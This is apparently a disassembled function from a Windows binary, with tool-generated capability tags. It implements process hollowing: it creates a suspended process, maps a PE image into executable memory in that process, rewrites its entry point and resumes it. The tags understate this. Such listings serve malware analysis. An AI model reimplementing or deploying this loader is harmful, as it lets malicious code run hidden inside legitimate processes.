Function at 0x1400038f0
Capabilities:
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x218
mov qword [rsp + 0x158], 0xfffffffffffffffe
mov rax, qword [0x140086088]
xor rax, rsp
mov qword [rsp + 0x200], rax
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
call fcn.140057490
mov dword [rsp + 0xf0], eax
mov byte [rsp + 0x61], 0
movzx eax, byte [rsp + 0x258]
test eax, eax
je 0x140003b7c
lea rcx, [rsp + 0x1d0]
call fcn.1400145e0
nop
movzx r9d, byte [rsp + 0x250]
lea r8, [rsp + 0x1d0]
lea rdx, [rsp + 0x98]
mov ecx, dword [rsp + 0xf0]
call fcn.140052e00
movzx eax, al
test eax, eax
je 0x140003ade
cmp qword [rsp + 0x98], 0
je 0x140003ade
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rsp + 0x98]
call fcn.14005e420
test eax, eax
je 0x140003a7b
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0xc8]
call fcn.1400476d0
test eax, eax
je 0x140003a1b
mov byte [rsp + 0x61], 1
jmp 0x140003a79
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x70], 0x32
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x70], 0x31
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0xf8], 3
jae 0x140003a55
jmp 0x140003a5a
call fcn.14001a370
mov rax, qword [rsp + 0xf8]
mov byte [rsp + rax + 0x70], 0
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x238]
call fcn.140013370
jmp 0x140003ad9
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x74], 0x31
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 3
jae 0x140003aa7
jmp 0x140003aac
call fcn.14001a370
mov rax, qword [rsp + 0x100]
mov byte [rsp + rax + 0x74], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x74], 0x31
lea rdx, [rsp + 0x74]
mov rcx, qword [rsp + 0x238]
call fcn.140013370
jmp 0x140003b6f
mov eax, 1
imul rax, rax, 3
mov qword [rsp + 0x108], rax
cmp qword [rsp + 0x108], 4
jae 0x140003afc
jmp 0x140003b01
call fcn.14001a370
mov rax, qword [rsp + 0x108]
mov byte [rsp + rax + 0x8c], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x8c], 0x30
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x8c], 0x5f
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x8c], 0x31
lea rdx, [rsp + 0x8c]
mov rcx, qword [rsp + 0x238]
call fcn.140013370
lea rdx, [rsp + 0x1d0]
mov rcx, qword [rsp + 0x238]
call fcn.140013650
nop
lea rcx, [rsp + 0x1d0]
call fcn.14000da40
movzx eax, byte [rsp + 0x258]
test eax, eax
je 0x140003b98
movzx eax, byte [rsp + 0x61]
test eax, eax
jne 0x140003b98
xor al, al
jmp 0x1400043e6
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x14000430b
mov rax, qword [rsp + 0x110]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x220]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
cmp dword [rax], 0x4550
jne 0x14000429f
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0x228]
call fcn.140046a50
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x14c
jne 0x140003c1d
cmp dword [rsp + 0xa8], 0
jne 0x140003c37
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x140003c41
cmp dword [rsp + 0xa8], 6
je 0x140003c41
movzx eax, byte [rsp + 0x60]
jmp 0x1400043e6
mov edx, 0x18
lea rcx, [rsp + 0xd8]
call fcn.140013800
mov edx, 0x68
lea rcx, [rsp + 0x160]
call fcn.140013800
mov dword [rsp + 0x160], 0x68
mov dword [rsp + 0x19c], 0x101
xor eax, eax
mov word [rsp + 0x1a0], ax
movzx eax, byte [rsp + 0x258]
test eax, eax
je 0x140003d03
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x230]
mov rdx, qword [rsp + 0x228]
mov rcx, qword [rsp + 0xd0]
call fcn.1400477b0
mov dword [rsp + 0xac], eax
jmp 0x140003d61
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x228]
call fcn.1400097d0
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0
je 0x140004233
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call fcn.140047910
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xe0]
call fcn.14005e530
test eax, eax
je 0x1400041c4
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x150]
mov rdx, rax
mov rcx, qword [rsp + 0xd8]
call fcn.14005e600
mov eax, dword [rsp + 0x150]
mov rcx, qword [rsp + 0x68]
cmp rax, qword [rcx + 0x30]
jne 0x140003ebe
mov eax, 1
imul rax, rax, 6
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x118], 7
jae 0x140003e29
jmp 0x140003e2e
call fcn.14001a370
mov rax, qword [rsp + 0x118]
mov byte [rsp + rax + 0x1f0], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1f0], 0x6d
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1f0], 0x67
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1f0], 0x5f
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1f0], 0x69
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1f0], 0x6f
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1f0], 0x6f
lea rdx, [rsp + 0x1f0]
mov rcx, qword [rsp + 0x240]
call fcn.140013370
jmp 0x140003f6c
mov eax, 1
imul rax, rax, 6
mov qword [rsp + 0x120], rax
cmp qword [rsp + 0x120], 7
jae 0x140003edc
jmp 0x140003ee1
call fcn.14001a370
mov rax, qword [rsp + 0x120]
mov byte [rsp + rax + 0x1f8], 0
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1f8], 0x5f
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1f8], 0x66
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1f8], 0x69
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1f8], 0x6d
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1f8], 0x67
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1f8], 0x66
lea rdx, [rsp + 0x1f8]
mov rcx, qword [rsp + 0x240]
call fcn.140013370
movzx eax, byte [rsp + 0x248]
test eax, eax
je 0x140003f85
mov dword [rsp + 0xb0], 0x40
jmp 0x140003f90
mov dword [rsp + 0xb0], 4
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0xf4], eax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov ecx, dword [rsp + 0xf4]
mov dword [rsp + 0x20], ecx
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xd8]
call fcn.140009910
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0
je 0x140004155
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x220]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xd8]
call fcn.14005e700
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0x90], 0
jmp 0x140004049
mov eax, dword [rsp + 0x90]
inc eax
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x90], eax
jge 0x1400040cd
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0xb8]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x220]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0xb8]
mov edx, dword [rdx + 0xc]
mov r8, qword [rsp + 0xc0]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0xd8]
call fcn.14005e700
mov rax, qword [rsp + 0xb8]
add rax, 0x28
mov qword [rsp + 0xb8], rax
jmp 0x140004039
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xc0]
mov rdx, rax
mov rcx, qword [rsp + 0xd8]
call fcn.14005e700
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa0]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xe0]
call fcn.140047a00
mov rcx, qword [rsp + 0xe0]
call fcn.140047ad0
mov byte [rsp + 0x60], 1
jmp 0x1400041c2
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x78], 0x38
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x78], 0x31
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x128], rax
cmp qword [rsp + 0x128], 3
jae 0x14000418f
jmp 0x140004194
call fcn.14001a370
mov rax, qword [rsp + 0x128]
mov byte [rsp + rax + 0x78], 0
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x238]
call fcn.140013370
xor edx, edx
mov rcx, qword [rsp + 0xd8]
call fcn.14005e800
jmp 0x140004231
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x130], 3
jae 0x1400041e2
jmp 0x1400041e7
call fcn.14001a370
mov rax, qword [rsp + 0x130]
mov byte [rsp + rax + 0x7c], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x7c], 0x31
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x7c], 0x37
lea rdx, [rsp + 0x7c]
mov rcx, qword [rsp + 0x238]
call fcn.140013370
xor edx, edx
mov rcx, qword [rsp + 0xd8]
call fcn.14005e800
jmp 0x14000429d
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x80], 0x31
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x138], rax
cmp qword [rsp + 0x138], 3
jae 0x140004262
jmp 0x140004267
call fcn.14001a370
mov rax, qword [rsp + 0x138]
mov byte [rsp + rax + 0x80], 0
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x80], 0x36
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x238]
call fcn.140013370
jmp 0x140004309
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x84], 0x31
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x84], 0x35
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x140], rax
cmp qword [rsp + 0x140], 3
jae 0x1400042df
jmp 0x1400042e4
call fcn.14001a370
mov rax, qword [rsp + 0x140]
mov byte [rsp + rax + 0x84], 0
lea rdx, [rsp + 0x84]
mov rcx, qword [rsp + 0x238]
call fcn.140013370
jmp 0x140004375
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x148], rax
cmp qword [rsp + 0x148], 3
jae 0x140004329
jmp 0x14000432e
call fcn.14001a370
mov rax, qword [rsp + 0x148]
mov byte [rsp + rax + 0x88], 0
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x88], 0x31
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x88], 0x34
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x238]
call fcn.140013370
cmp qword [rsp + 0xc8], 0
je 0x140004399
mov rcx, qword [rsp + 0xc8]
call fcn.14005e8d0
mov qword [rsp + 0xc8], 0
cmp qword [rsp + 0xd0], 0
je 0x1400043bd
mov rcx, qword [rsp + 0xd0]
call fcn.1400086f0
mov qword [rsp + 0xd0], 0
cmp qword [rsp + 0x98], 0
je 0x1400043e1
mov rcx, qword [rsp + 0x98]
call fcn.1400086f0
mov qword [rsp + 0x98], 0
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.14001a200
add rsp, 0x218
ret